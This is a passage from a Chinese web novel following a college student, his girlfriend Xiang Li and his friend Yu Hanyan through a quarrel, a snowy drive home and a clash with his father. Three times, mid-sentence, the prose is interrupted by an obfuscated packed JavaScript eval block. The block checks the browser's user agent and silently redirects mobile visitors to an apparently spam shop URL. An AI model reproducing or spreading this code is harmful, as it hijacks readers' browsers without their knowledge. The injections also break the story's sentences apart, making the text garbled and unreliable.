然而,我从李悠那里知晓的却是,有几个女生在背后有意无意地煽风点火中伤相黎。 须臾间,仿若有一阵飓风席卷正在实习途中的我,飓风过后,我脑中的事物尽皆空荡,只留下凄凄惨惨的满心怅惘与愤怒。 怅惘的原因在于,那时候相黎有心事总是深藏在心里,不愿意透露,即使我是她的男朋友?我就像是从相黎身上掠过的一阵风,没有轮廓,没有重量,甚至想裹在她身上都不可能。 我一度觉得,男朋友这个角色在她那里一直若有似无。 这种不可言状的心绪, 我既不能将其排遣于外,又无法像相黎一样将其藏在心里。 于是那个实习的夜晚,我一个人在实习宿舍的楼下形影相 吊地徘徊着,冥思苦索,聆听着暗夜的风响,夜色遮住我蹒跚的步伐,陌生的烟火气不断唤醒我内心深处的不安。 实习宿舍在一个老小区旁,很破旧,充满了年代感,一排排房子经过岁月的洗礼,脸上已经刻出一道道皱纹。银白色的月光洒在老房子上,夜的香气弥漫在空气里,织成了一个柔软的网,把一切都笼罩了进去。我目光所及都是罩上这个柔软的网的东西,任是一草一木,都不像在白天里那样现实了,它们都有着模糊、空幻的色彩,每一样都隐藏了它的细致之点,都保守着它的秘密,使人有一种如梦如幻的感觉。 小区里,乘着朦胧的月色带孩子散步的父母不在少数,端着茶杯出门遛弯的老人也是目光惬意,那时候估计只有我心情是忐忑不安的。 每个人内心深处都潜伏着这样一份平静难过的心情,迎合暗夜涌动。我深深沉浸在那个风高月清的夜晚,凝望着陌生的万家灯火,一处灯火便是一个故事,万家灯火便是一万个故事,一万个与我无关的故事。 最终我还是没忍住给相黎打了个电话,那一刻我的情绪有点爆发,愤愤不平地质问她为什么遇到事情从不与我诉说, 甚至每次拉我出去喝酒也不愿吐露心事。 明明她的心又那样脆弱不堪,总被负面情绪所打败。 当事人的她却在电话那头嫌李悠嘴里藏不住事,不该将这件事告诉我。 她说:“人生困苦,伤害别人的人是在给自己找痛苦,别人自己给自己找痛苦,我们应该同情。” “你不生气吗?” “为什么要生气?生气岂不是自己喝毒药反过来指望别人痛苦?如果我气冲冲地找你诉苦,是不是就把没必要的负面情绪强加给你了,况且我也不在意她们的误解,无关紧要的人和事,为什么要放在心上呢?” 她是个感性的人,却一直强迫自己理性看待所有事,就像在雨中撑着伞,雨其实已淋满身。 “你不要总是一副很成熟的样子,好吗?我知道,你是一个悲观的人,但是又悲观得不彻底,总喜欢故作镇定,摆出一副刀枪不入的模样。我希望……我希望你能给我一把钥匙,去打开你内心世界的大门,为你清扫灰尘,驱散阴霾……我再也不想看你一个人在沼泽里挣扎下沉,而我只能在岸上看着……大声呼救吧,然后紧紧地抓住我的手,拯救不了你的话,我们俩就一起下沉……” 电话那头陷入了短暂的沉默,缓缓说道:“我没有故作镇定,也并非刀枪不入……我只是不知道,怎么用不那么……不尖锐的方式表达我的不开心……而且,我需要冷静去消化我的情绪。” 冷静。 听到冷静这两个字,这种一拳打在棉花上的感觉让我习惯到快要麻木,她的情绪好像永远都是那么稳定,而我却像个疯子一样喋喋不休,大吵大闹。那一刻我才明白爱情里最悲伤的时刻,不是两人针锋相对吵得不可开交,而是各自沉默。 那一刻,我莫名又来了孤独感,可周围偏偏万家灯火通明。 我不需要她的冷静,城堡里圣洁的公主不必独自忍耐,只需一声号令,她的骑士便心甘情愿赴死,挥着剑为她斩尽世间不公。 不是冷静,也绝非沉默。 接着她又说道:“看吧,你也变得悲观了呢,你本该是个多么开朗的男生啊……放心吧,这事儿我没放在心上。呐,我们都洒脱一点,照我说的做,你现在缓缓把手举起来,一直举到顶……” “嗯,然后呢?” “再突然张开五指,恭喜你,你刚刚给自己放了个烟花!” 我摇了摇头,竟真被这个手造烟花逗笑了。 相黎挂断电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039909|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,片刻过后,她在微信上说道:“你如果再握住我的手,抱住我,我就做你指尖跳动的火苗,和你一起燃烧……” …… 过了两天,相黎竟一个人开车到我实习的地方来了。在校上课时她要是过来,我可以陪她听我那晦涩难懂的专业课程,可正是实习的时候,我只能带着她一起出野外,爬山、钻灌木丛,看各类岩石构造…… 晚上没地方住,为了避免一个女生在陌生的地方独处,虞寒艳热情地邀请相黎在宿舍挤一挤。 私下交谈的时候,虞寒艳问了相黎的事,我告知与她,没想到回校后,虞寒艳就冲到了相黎那个专业的宿舍楼,给陈佳几个女生训得无地自容,这事儿还被吃瓜群众拍成视频上传了抖音,浏览量一时激增,最后还是辅导员出面让吃瓜群众删除了视频。 …… 这段由陈佳引起的记忆再次在我的脑海里清晰起来,短暂的头脑风暴过后,看着身旁的相黎,此刻的她再也没有当初那般“冷静”,她终于变成了那个圣洁的公主,而我便是公主洁白裙摆之下情愿赴死的骑士。 顺着李悠的话,我摇摇头,接道:“陈佳?不太记得了,应该是个不安分的女人吧。” 李悠见相黎没接话,也没再多说什么,只是问我:“我听隔壁寝室的说,陈佳圣诞夜晚上在外面……” “在外面开房?”我接过话茬。 “那咱儿不清楚,听说那天晚上她和男朋友一起city walk,哦,就那个宗斌,在外面 被人打了!” 尽管心中波澜起伏,但我还是佯装出一副不经意的模样,瞅了一眼相黎,而她也正在凝视着我,神色微妙。 我表面依旧云淡风轻,语气平淡地说道:“没什么好稀奇的,两个不安分的人,在外面可没有人会惯着他们。” …… 接下来,在这个寒冷的夜晚,我们七转八转最终还是选择吃了顿火锅,毕竟没有一顿火锅解决不了的事。 本来她们两人是打算还要看一场电影的,因为事故纠纷耽搁了,之后陪她们在中环购物中心逛了会儿,却是什么东西也没买。 我买东西的时候往往是直奔主题,不存在挑挑选选,而相黎和李悠一样东西没入手却也逛得兴致勃勃。 男人要出来逛街指定是缺东西了,被动的,必须去买;女人逛街是主观的想逛,主动的,单纯作为一种放松方式。 …… 送李悠回学校过后,相黎载着我行驶在车流涌动的城市里缓行穿梭。 她冷不丁说道:“打架不是一件好事情,很愚蠢。” 我不置可否,她继续沉着声说道:“你啊,做事不能冷静一点吗?脑子发热想什么就是什么,从来不计后果。” 我沉默半晌后,悻悻回应道:“这下好啦,我的底牌全被你看见了,我就是这么一个愚蠢至极的人啊……” 相黎打断我的话,“不用你说,我知道你愚蠢、轻佻、头脑空虚、势利、庸俗……” “打住打住,不用一口气说这么多形容词,我描述自己的时候都想不出这么多词儿。” “但是我爱你……” 我顿时沉寂下来,好像失音了一般,好像麻木了一般,既说不出话,也没有力量,一瞬间好似是在梦里猛然一脚踏空,从高处坠落失衡,向上是迷茫,向下是看不到尽头的虚空,就这么不计后果,放任身体直直坠落下去。 到了学校的南门,相黎停下车,凝声道:“我当然能看到你的底牌,但我也知道你的企图、你的理想。相对地,你也能看到我的阴暗面……” 这一刻,我和相黎都沉默了,或许是因为专注,或许是因为尴尬,平日里无话不谈此时却沉默无言的两人互相依存着,表面羞涩又略带紧张,不知该作何表情,车子里的空气也跟着一起沉默了。也许只有在这灰暗柔和的灯光下,我们彼此才能释放真正的情愫。那种骨子里的羁绊,让我看见她那颗和我一样时常会哭泣的心。 看着相黎的眼睛,相黎也看着我的眼睛。我搂过她的肩,吻住她。相黎只是肩头稍微抖动一下,软绵绵地闭上眼睛。短暂又漫长的一分钟里,我们悄无声息地对着嘴唇。车子里的微亮的灯光把她的眼睫毛投影在脸颊上,看上去微微发颤。 我们互相看清对方的底牌,仍然愿意继续下注,一损俱损,一荣俱荣。 然后,我们爱,甚至更爱。 第20章 归乡途中 在教学系统里选定论文课题后,合肥再度迎来了一场雪,雪花如柳絮般纷扬,与几周前那场轻微的雨夹雪相比,这一次的雪更加肆意,也更具浪漫气息。 大学生涯最后一个寒假弥漫着离愁,随着飘零的雪花如期而至。 …… 宿舍外的世界被铺天盖地的雪意笼罩,临近中午我依旧赖在寝室上铺的被窝里,不想动弹,默默看着下面高炜和阿乐的身影在仅有二十平的寝室里来回穿梭。放假回趟家而已,他们却一上午都在大张旗鼓地折腾,恨不得把整个寝室都给搬回去。 一样赖在床上的还有万琛,身为班长,他要贯彻落实辅导员交办的任务,为班级离校站好最后一班岗,只不过他这最后一班岗是在被窝里站的。 “被窝是青春的坟墓,你们俩真无可救药了!” 高炜收拾完行李,瘫在椅子上对我和万琛说教起来。 阿乐摇头直叫屈:“妈的,要不是为了赶12点40的高铁,我宁愿一辈子躺在青春的坟墓里!” “顾懿,你什么时候走?”万琛突然问起我。 “等相黎电话,先把她送到高铁站。我回去带两件衣服,一把吉他就够了,看你们收拾半天差点把寝室搬空了,分数线还没出就为复试专业课做准备了?” 阿乐为了跨考计算机专业的研究生煞费苦心,自然不愿意在最后关头掉链子,高炜和万琛报考的是本专业,国家线280左右,目标院校复试线也不至于遥不可及,再不济也可以调剂,所以他们仨对复试还是满怀期待的,寒假也带了不少专业课教材回去。 “你这么洒脱,就真不抱任何希望了?” “今年上财的分数线估摸着得390,光抱希望有啥用……我还抱着希望能中彩票一等奖呢,实际吗?” 高炜对我的悲观态度显得惋惜,说道:“懿哥,搞不懂你,为什么要陪相黎考上财的金融专硕……经济学、计算机、教育学考研界三大天坑,咱们寝室踩了两个,还他妈的都是跨考!” 阿乐自嘲道:“我筹划时间不短了,从大二下学期开始就专攻计算机专业课程,我对自己的实力和目前的环境心里还是有底的,所以考研也没报什么顶尖院校,还是先把脚踏进去,把专业换了,以后的事以后再说……” 说完自己,阿乐评价起我道:“要说还是懿哥牛逼,直接报考上海财经大学,这不明摆着当炮灰吗?” “顾懿,咱们都是兄弟,说句心里话,你这一年确实不值得……” “谈什么值得不值得的,都是人生经历,人生历练嘛,不谈对错,不以成败论英雄!”嘴上虽然说得这么洒脱,其实我心里还是有些忧虑。 起初,之所以没选择考本专业的研究生,而是固执地与相黎一样去报考金融专硕,说什么跨专业转行挣大钱之类的话统统都是假的,其实我一点都不关心本专业的就业前景,也不关心以后能挣多少钱,钱对我来说都是身外之物。 实际上真正的原因只有一个。 我内心深处是无比害怕相黎毕业后去上海学习或者工作的,倘若我报考本专业,肯定就不会报考上海的院校,由于专业和就业上的差异,到时候我们俩恐怕会彻底走上截然相反的道路。 一想到那些曾经在一起的美好画面,往后可能都要化作泡影,这种恐惧就如同潮水一般,将我一次又一次地淹没,几近窒息,徒留我在悲伤的深渊里独自徘徊、痛苦,我害怕会失去她,害怕我们的未来会变得渺茫。 “什么人生历练,说到底还不是为了相黎?除了相黎,还没见过顾懿对什么人和事这么上心过!” 高炜仿佛看透了所有,将话说得很透彻。 我从床上坐起身,伸了个懒腰:“别管为了谁啦,哥几个以后飞黄腾达了,不要忘记抬小弟一手!” …… 前几日,相黎就跟我说过,她不想她那辆s90孤零零地在阴冷潮湿的地下车库躺一个月。所有人都满心欢喜地回家过年,徒留它独自黯然神伤,那样的话车子也太可怜了。 按照她的安排,她坐高铁回上海,我开她的车回桐城,她希望过年这段时间我来替她照顾爱车。于是,今天午饭过后她从翡翠湖开车到学校南门,郑重地将车钥匙送到了我手里,而后我驱车载她到合肥南站。 送相黎进站后,我迅速打电话给虞寒艳,让她带上行李到校南门等我,然后我驾车直奔南一环路去接她。 相黎一早便提议我开车送虞寒艳回家,并且她也已经跟虞寒艳沟通过,既然我和虞寒艳的目的地都是桐城,现成的顺风车摆在眼前,虞寒艳在这返乡的高峰期就着实没必要再去买票乘车。 接到虞寒艳后,我们正式踏上归途,这学期的校园生活便就彻底画上了句号。 …… 女人的心犹如漫天飞舞的雪花飘忽不定,当我将其捧于手心想要一探究竟的时候,几乎是瞬间它就化为了一小摊水渍,丝毫不给人看清它的机会。 相黎曾不止一次地暗示过我,她很在意我和虞寒艳走得太近,但这次又是她主动牵头,让我带虞寒艳回桐城。 她在第一次说起要我开她的车回桐城的时候,我心里就 暗暗思考是否要带虞寒艳一程,但是考虑到她的感受,我就浇灭了这个想法。最后却是她信誓旦旦,让我务必带虞寒艳一起。 我不知道她心里在打什么鬼主意,又或者是我想多了,可能相黎这个做法,完全是出于朋友间的热心。 …… 在车上,虞寒艳和我谈起毕业论文的选题,以及她为下学期论文开题做的一系列准备。从她的侃侃而谈中,我能感受到她对论文题目的深入研究,她不只是在简单地陈述,而是在用心地分享、在激情地表达思想。 对于教学系统里开设的毕业论题,我实在是提不起兴趣,想来与我有同样感受的人应该不在少数。于我们而言,更多的是关注指导老师究竟是谁,毕竟要是选到了教风严格的老师,那毕业论文的开展必然会困难重重。 可当我打开教学系统的时候,留给我的导师和课题少之又少,无奈只能选到一个教学极其严格的老古董教师,使得我对论文更提不起兴趣。 我没有和虞寒艳过多地纠结论文的事情,似乎有点打击到她的热情。 她瞟了一眼后视镜,注意到车子后排赫然摆放着我的那把吉他,唏嘘一声:“第一次听你弹吉他还是在高三元旦文艺汇演的时候,没想到一眨眼就要大学毕业了……” 我感叹着:“已经是四年前的事情了……下一个四年我们不知道会在哪里?” “下一个四年,我们又会遇见新的人,有着新的故事……” 是啊,新的人会出现,可那些曾经熟悉的面孔又会消失在何方?那些一起经历过的欢乐与痛苦,都将随着时光的洪流渐渐远去,只留下那时的我们在这苍茫的人世间踌躇。 “下一个四年,我们或许会在陌生的角落独自舔舐着伤口,回忆着现在的温暖……或许会在某个孤独的夜晚仰望星空,思念着那些已经远去的故人……新的故事,又怎会填补得了心中旧时的遗憾?我们就像漂泊在命运之海中的孤舟,随波逐流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039910|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知何时才能找到真正的彼岸……” “哎哟哟,又感伤起来了?人家都是给点阳光就灿烂,你属于是给点乌云就黯淡!现在正发生的故事填补上你旧时的遗憾了吗?” “理想主义者生来悲观,你懂个啥?” “理想主义者?一般给自己戴上理想主义者高帽的人都不是真正的理想主义,那都是些在现实生活中没有主义,净想着用理想主义者的虚辞来慰藉自己而已。” “行啦,是不是不怼我两句你心里就刺挠?” “没有哇,我就是觉得你之前还是带着些理想主义的,现在变得越来越现实了。” 有人说,一个人如果在十四岁时还不是理想主义者,他一定庸俗得可怕;如果在四十岁时仍是理想主义者,又未免幼稚得可笑。人在不同的阶段肯定是会变的,我肯定也未能免俗,我很好奇虞寒艳是基于什么会对我有这样的评价,最起码现在的我距离四十岁还很遥远。 我问道:“之前是指什么时候,之前和现在总得有个分水岭吧?” “之前啊?那已经是很久之前的事情了……高三有一回开班会,你和班主任在教室旁的连廊上争论,我恰好坐在靠窗的位置,看得清楚,听得真切,上课十分钟了你们还在争,蛮有意思的,我们靠窗那几个都在看戏……我还清晰记得班主任当时说你太理想主义了,以后当个小领导要对下属怎么样怎么样来着……具体什么的我也记不清了……” 我回忆着往昔,好像是有这么一回事。 …… 高中时,我是班长,高三的关键时期,虞寒艳私下和我抱怨前后桌的男同学不想学习,严重影响到了她的学习状态。 每个班级总有那么几个自暴自弃,对考大学不抱期望的人,虽然教育都是秉持着“不抛弃、不放弃”的原则,但是如果一个人自己都放弃自己了,我认为就没有必要再去争取他。 好巧不巧的是,当时虞寒艳座位周边就有那么几个自己都放弃自己的“害群之马”。 那时候,我能感受到她的苦恼。毕竟在一个班级里,大家的学习氛围是会相互影响的。那些不想学习的男同学,他们的行为或多或少地会分散她的注意力,高三后期大家都紧绷着一根弦,可能一点风吹草动都能引发火山爆发。 当时我给班主任的建议就是:物以类聚,人以群分,把想学习和不想学习的同学座位分隔开,在最后的关键阶段干脆放弃掉“拖油瓶”们。当然,我所指的不是学渣们,而是学习态度不端还恶意影响其他学生学习的一小部分人。 那天班会本来是要安排座位的,我特意赶在临近班会开始前,在走廊堵住了班主任提了我的意见,班主任却意外地没有同意,要不然也不存在后面我和他激烈争辩。 不可否认的是,当时我存在私心,因为和虞寒艳关系不错,虽然她的成绩并非名列前茅,但是她一直在为考上一个好大学坚持不懈地努力奋斗着,在最后的关键时期,我不能眼睁睁看着她被干扰。 那天我的言辞异常激烈,情绪格外高亢,以至于我和班主任争得面红耳赤。我还记得最后他质问我:“在你眼中,是不是所有的坏人都该拉去枪毙?” 那天 的班会课迟迟未开,只因班长和班主任在教学楼的走廊里正在展开一场激烈的辩论。 我理解自己当时的那份私心,但或许自己的方式有些激进。 最后我们没争出个结果来,但班会课上班主任还是决定让学生们自行决定座位,即学生a想和学生b换座位,只要双方都同意便可进行交换。 第21章 你就是这么看我的 虞寒艳回忆道:“那次班会我愣是听你们犟了半节课,当时还以为你们争不过要打起来……” “怎么可能?君子动口不动手,分明是我赢了,班主任没辙,最后屈服了。” “你牛!就因为这事儿,班级里说你这个班长看人下菜,不顾差生的感受……” 我偷瞟了一眼副驾上的虞寒艳,想起高中时期的她,她是除顾嘉外第二个让我感受到温暖的女人。 因为她妈妈在中学任教,她经常领着我去食堂开小灶,吃教师餐,给我伙食改善了不少;高中其实是寂寞的三年,尤其是对我这样的走读生而言,我常借着讨论学习问题的理由和她聊天,解决学习问题后,总和她聊到生活,畅谈着各自对未来的渴望。 对天真烂漫的高中生来说,毕业后的未来一定是遍地鲜花的,因为高中生活太不自由了;与现在大学毕业相反,我对未来充满了迷茫,因为大学生活太自由了。 我陷入了短暂的回忆之中,记忆里的虞寒艳似乎温柔许多,自带一层柔和的滤镜,大学里这层滤镜消失了,她变得更真实,也更难以捉摸…… 她趁着回忆的东风,说道:“后来再看到你在文艺汇演上弹吉他才会印象深刻,这样一个敢和班主任硬刚的暴躁小伙儿,竟然还会有这么细腻的一面……” “哥主打一个反差!” 虞寒艳扑哧一笑:“笑死我对你有什么好处?” “会少一个喜欢和我抬杠的女人!” 她突然笑得更欢了,她的笑容在这个瞬间模糊了车窗外寒冷而疾驰的世界,时间的沙漏这一刻也降低了流速。 “当时,你是特意为了我和老班起争执的吗?” “这么久了,谁还记得……” …… 车外的雪花大片交织在一起,不断堆积在挡风玻璃上,形成了一道密不透风的白色帷幕,像是要拼命遮挡住我的视线。 雨雪天气和高速上车流量繁多,我不得不放慢车速,谨慎地操控着车子。也正因如此,我有了更多的闲暇和虞寒艳扯淡。 …… 前挡玻璃上的雨刮器似乎从车子启动后就没停过,一直在和玻璃上的雨雪对抗着。但我和虞寒艳却没有如往常一样拌嘴,她口中难得少了许多平日里对我的嘲弄;我也在这特殊的情境中,感受到了与她相处的另一种氛围。 这种感觉很微妙,车内短暂的温存与高速路上的积雪被过往车辆轧完后透出的危险气息形成了鲜明对比。 …… 我和虞寒艳在车内有一搭没一搭地闲聊着,话题在这狭小的空间里随意转换。即使现在车内只有两人,但归根到底车子还是相黎的,话题总不可避免地最后还是流向了她的身上。 虞寒艳问起我毕业后有着怎样的打算,是否已然规划好了与相黎二人的未来。 可我向来不是一个喜爱规划未来的人,就好比有人下棋,走一步便已开始布局后续好几步,而我则属于走一步看一步的那种人,即便是每次期末考试,我也是到最后一晚才会去临时抱佛脚。 相黎和虞寒艳便是那种刚落子,便能看清整盘棋局走向的人,她们似乎对未来总是有着自己的规划;就连同寝室每日朝夕相处的阿乐,为了转行到计算机领域,在大二时也早早未雨绸缪,自学起计算机的专业课程。 而我,即使已经置身于研究生考试的考场上,也仍然没考虑好考试后面的事情,好像我走的每一步都是被相黎在前方牵引着。 我不由叹息道:“未来啊……这么近,又那么远……相黎走得太快了,我却还在后面慢慢悠悠地寻找着自己的路。” “如果你迟迟找不到属于自己的那条道路,怎么办?” “找不到,我就跟在相黎身后,她走阳关道我就跟着她走阳关道,她过独木桥,我就跟着她过独木桥……” 虞寒艳听后若有所思,半晌没有作声,我顺势也在思考着我的问题。 …… 这些年,除了顾嘉好像没有其他人告诉过我,眼前的路该怎么走。于是我一直步履匆忙地想把眼前的路赶紧走完,或者说跟在主流的大部队后面,保证自己不会掉队。 此刻我突然发觉,一往无前地冲锋当然能走完眼前的一段路,但没办法一直这么走下去。 走走停停,才能走到更远的地方去。 小升初,初升高,高考后再谈恋爱,想得再远一点是工作和结婚生子。很多声音告诉我,这沿途一路的风景是不能驻足很久的,我似乎不被允许走走停停,在一处停滞久了,就会有很多声音跳出来告诫我加快进度向前去,不要掉队了。 我就这样一直被类似的情绪反复内耗着,像是大海潮起潮落般不停歇。我没有什么好办法,只好竭力在找一个平衡点,重建自己的生活秩序。 我需要一种维持自己内心秩序的力量,这种力量往往来源于生活本身,而不是在匆忙赶路时获得的;恰恰相反,是在缓慢中感受到的。就好像黄昏时走在路上,正对上一道晚霞,在那个瞬间所感受到的一种截然不同的节奏,那节奏就是属于我自己的。 于是,我在高三那么紧张的题海战术中,依旧能留出时间弹弹 吉他唱唱歌,肉体被束缚固然值得同情,可内心的枷锁才是最可怕的存在。 当下我踽踽独行,何尝不是为了赶上相黎人生的进度?离上海财经大学近一点,离上海近一点,就能离相黎近一点,不至于最后脱离她的队伍? 可是,动车和汽车只在停站的时候速度相对一致,最终都是要行驶在自己的轨道。 …… 我拼命理清思绪,努力让自己不再去内耗,我转头瞄了一眼虞寒艳,她坐在副驾上看起来也是思绪翩翩。 我问:“在想什么呢?等会儿就到桐城了,你爸妈一定买了很多菜,等你回去烧吧!” 虞寒艳忽然用桐城方言与我说道:“你看,这辆车从合肥一直往桐城在开,我多么希望也有一辆时间的汽车,逆着时间的洪流开往桐城,然后不再回合肥……” 突如其来的桐城方言让我有些招架不住,我想笑,但听着这么伤感的话又笑不出来。 我回道:“这么矫情的话不适合用方言说,一整个就尬住了!” 她撑着头,靠在车窗,隔着玻璃上的水汽看着窗外疾驰而过的风景,离桐城越来越近了,属于乡村冬日的烟火气也随之变得浓郁。 “我就欢喜说桐城话,你可以选择不听!” “才没消停一会儿,我们俩是不是不拌几句嘴就都不痛快?” “是你太令人讨厌了,看到你这副嘴脸就忍不住想臭你一顿!每次说话刚要说到点子上,你总是煞风景地打断,我说话你就这么不想听吗?” 虞寒艳怅然,带着些许怒意。我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039911|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道为什么一句玩笑话能让本来柔和的气氛变得窒息,女人翻脸的速度有时候确实比翻书来得快,她们因此往往比男人过得快乐。 因为,她们和男人不一样,不需要面对女人。 我顺着虞寒艳的话,用桐城方言补充道:“过年路上这么多从合肥回安庆的车,过完年他们最终还是要返程的,能逆转时间洪流的东西不存在,时间不会回头看……” 虞寒艳没有说话,不知道是不是自顾自在那儿暗暗埋怨着我。 我曾将自己和相黎比喻成一对契合的齿轮,抑或者是两块贴合的拼图,我跟她大多方面很互补,所以能给对方提供更多的慰藉,用现在很流行的词汇来表达,叫“情绪价值”。 与虞寒艳不同的是,我跟她是完全相同的两块拼图,是无法贴合在一起的,我们俩在对方身上看到更多的是相似点,这种相似是我们难以心对心地表达心意,让对方明确自己真实的想法,即使我们知道彼此都是发自肺腑地希望对方变得更好。 见她一直沉默着,我厚起脸皮自己找台阶,试探道:“怎么了嘛?桐城话是这个世界上最美妙的语言,你的声音是这个世界上最动听的女声……” 我半开玩笑半妥协地向她屈从着,快把姿态放到了地心,依旧没见她有丝毫动容,我最终选择放弃做无用功,叹息道:“寒艳寒艳,又心寒又冷艳……” 她冷不丁地突然问我:“顾懿,在你眼里,我是个什么样的人?一个没心没肺?只会挑你毛病的……” “的”后面的名词她吞吞吐吐,半天也没形容出来,一句话就这么卡壳了。 “的好朋友。”我立刻帮她补充道。 “是这样的吗?”她问。 我敏锐地觉察到即将给出的答案的风险,是或不是都会让我陷入进退维谷的窘境,我若是回答不是,她或许心里会有那么一瞬间的缓和,然后追问我具体是怎么看待她这个人的。 我不知道她理解的着重点是在“好朋友”,还是在“好朋友”前面的修饰词上,可我不想再思考如何去应对后面一系列的问题,即使我心里清楚地知道她只是表面上嘴硬、毒舌,她的内心比谁都温暖、包容。 我索性决然反问:“难道不是吗?” “你就是这么看我的……是吗?” 她的嘴唇微微颤抖着,牙齿紧紧咬着下唇,咬出了一道泛白的痕迹,却发不出一丝声音,仿佛所有的话语都哽在了喉咙,原本红润的双颊像是被严密隔绝在车外的寒霜侵袭,冰冷而僵硬。 我不止一次地想厘清自己和虞寒艳之间的距离,不想给相黎带来困扰,周遭好友看来我和虞寒艳过于亲近,即便平日里吵闹不断,却因此更显暧昧。 我本想着绝情地让虞寒艳明白我的想法,摆清楚彼此的位置,在这层窗户纸被捅破之前就彻底砸毁窗户,可一看到她那双失去焦点,布满哀伤的眸子,我便意识到自己过于伤人,心里不由得一紧,涌起一丝后悔,可话已出口,收不回来。 我立马调转枪头,正色道:“肯定不是,老话说得好,棍棒底下出孝子,黄荆条下出好人,你……” 虞寒艳出言打断我的话,愤然道:“我不想听你假惺惺地解释,你误会我的时候,我心里挺想跟你解释的,但是一想到你是这样想我的,瞬间就觉得没有解释的必要了。” 她继续道:“也有可能,你其实什么都明白……” 第22章 要面子没里子 她并没有给我反驳的权利,而是继续呛道:“你怎么可能明白?要是聪明一点大学就不会挂那么多科!” “……这是我为了艺术献身的代价!” 她冷嘁一声,“为了艺术……背着把吉他演出就是艺术了?” “你总是这样……我做的太多事情好像在你眼里都是无意义的……你挑我毛病我坦然接受,因为你说得对……但是我从没想过背着吉他去抛头露面演出……那把吉他是我与听觉之间最纯真的联系……” “所以,演出赚钱都是为了相黎?你自以为的艺术也被戴上了一顶世俗的帽子……我认识你这么久,你心里想什么我还能不知道……你和相黎两个人之间太割裂了,你没觉得吗?小马拉大车,迟早有一天你会崩溃掉……” 见我没说话,她语气缓和了些,长舒了一口气,道:“回桐城了,我想看到的是从前那个烂漫自由、热泪盈眶的顾懿,不是一个为了些小事就eo的小垃圾。” 接着滔滔不绝地又说道:“跟相黎在一起的时候,你一会儿兴高采烈,一会儿垂头丧气的完全像个蠢货;现在相黎走了,我们回桐城,你变回以前的顾懿,等她回来以后,我把你推到她面前,让她好好看一看你本来的样子……” “神经!” “从你身上已经看不到以前的影子了……” 她一口气说了不少,终于是平静下来。 她说的话句句扎在我的心头,让我几近窒息,我默认了她的说法,许久才开口道:“人要是一成不变,人生该有多无聊?……下高速了,你家住哪儿,我送佛送到西!” “到桐城中学跳吕台那儿放我下来就行,我妈还在校,过些天才回家。” “差点忘了,高中现在还放假呢……” “要不进去看看?” “得!我进去,然后把我列成反面教材挂在学校告示栏上,警戒学弟学妹上大学后要好好学习,不能挂科?” “是个好主意!” …… 扯了几句后,我将虞寒艳送到中学教师宿舍,便直奔龙眠老家。 一路上我都在试图酝酿一个合理的理由,去向家里人解释为什么开了一辆沃尔沃回来。不说别的,这车在村里也算是豪车了,就算老顾不问,村里的情报机构也要到处宣扬。 但是到家我依旧没能整理好一套说辞,当然也没能躲掉被老顾一顿数落。 进门后,老顾见我回家本是很高兴的,当他出门看到相黎那辆车后,瞬间表演了一波川剧变脸。尽管我一个劲说明情况,老顾却是一个字也听不进去。 “给你考驾照,方向盘还没摸熟就把人家的车子开回家?瞧把你能的!出了问题我给你赔?……之前几次你和那个小丫头开车回家,就不跟我通气,事后我和你说过多少次了,不要小鬼装大人,你们两个小孩子出了事,你让我怎么和对方父母交待?!” “车子剐了蹭了我修,不用您老出资!” 老顾提高声调,怒道:“是修车的事情吗!” 在奶奶的一顿劝解下,老顾这才消了气,沉声道:“把车停这儿,不许开!” “老古董!” 老顾眼看就要发作,奶奶赶紧把我护在身后,嘴上说着老顾一根筋。 …… 老顾是一个典型的老一辈严父形象,小时候对我也没少过棍棒教育。他有着自己的一套思维观念,我一旦涉及他自认为原则上的事情,他就没给过我好脸色。 他被判之后,我和他的相处时间更少了,甚至还不如我和顾嘉送我的那把吉他相处时间长。 我和他之间一直存在着一条言语上抹不去的鸿沟。 老顾前几年出来后,继续经营着他的茶叶加工厂,每年收茶季,他从茶农手上收的鲜叶总比同行价格出得高,而出茶售卖时买家只要说说情他给的卖价又比同行低。 他这个人压根就不适合做生意。 每逢亲朋好友家里有喜事,即使他手头不宽裕,但是表面上依旧出手阔绰,他管这叫“有面子”。 另一件他觉得“有面子”的事情便是酒桌上从不弱于人的酒量,七年禁闭并没有改变他的性子,出来后依旧嗜酒如命。 待人宽松,对待家人又极其严格,要面子,但又顾不上里子。生意上出了问题受他气的永远是家人,很难会有一个女人能忍受这样的男人。 …… 我站在相黎的车旁,和奶奶抱怨着老顾的古板木讷。 老顾郁闷至极,奶奶在替我说话,他只能留下一声叹息,便独自回屋。 